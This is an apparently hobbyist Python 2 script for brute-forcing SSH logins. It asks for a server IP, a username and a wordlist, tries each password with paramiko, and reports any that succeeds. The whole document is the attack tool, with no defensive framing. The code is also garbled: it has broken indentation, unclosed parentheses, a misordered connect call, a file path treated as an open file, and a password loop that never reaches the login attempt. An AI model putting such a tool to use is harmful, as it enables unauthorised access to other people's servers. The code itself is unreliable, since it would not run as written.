SSH connect bruteforce

#!/usr/bin/python
#
#

import paramiko, sys, os, socket

class bcolors:

    ENDC = '\033[0m'
    RED   = "\033[1;31m"
    GREEN = "\033[0;32m"
    WARNING = "\033[93m"


line = "\n---------------------------------------------------------------\n"

try:

    print bcolors.WARNING + "[!]...Enter the SSH's Server IP" + bcolors.ENDC
    host = raw_input("\n> ")
    print bcolors.WARNING + "[!]...Enter SSH's UserName" + bcolors.ENDC
    username = raw_input("\n> ")
    print "\n###########################################"
    print "[!]...Please enter the path to a worldlist."
    dirpath = os.getcwd()
    print bcolors.WARNING + ("\ncurrent directory is: " + dirpath) + bcolors.ENDC
    print "###########################################"

    passwfile = raw_input("\n> ")

    if os.path.exists(passwfile) == False:
    print bcolors.RED + "\n[-]...File Path Does Not Exist" + bcolors.ENDC
    sys.exit(4)
except KeyboardInterrupt:
    print bcolors.WARNING + "\n\n[*]...User Requested An Interrupt" + bcolors.ENDC
    sys.close(3)


def ssh_connect(password, code = 0):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()

      try:

            ssh.connect(host, port=22, username, password)
          except paramiko.AuthenticationException:
            #[*] Authentication Failed ...
            code = 1
          except socket.error, e:
            #[*] Connection Failed ... Host Down
            code = 2

          ssh.close()
          return code


for i in passwfile.readlines():
    password = i.strip("\n")

try:
        response = ssh_connect(password)

        if response == 0:
        print bcolors.GREEN + "[+]...User: %s [+]...Possible Password Found: %s%s" % (line, username, password, line) + bcolors.ENDC
        sys.exit(0)
        elif response == 1:
        print "[-]...User: %s" + bcolors.RED + "[-]...Pass: %s Login Incorrect" % (username, password) + bcolors.ENDC
        elif response == 2:
        print bcolors.WARNING + "[!]... Connection Could Not Be Established To Address: %s" % host + bcolors.ENDC
        sys.exit(2
except Exception, e:
        print e
        pass

passwfile.close()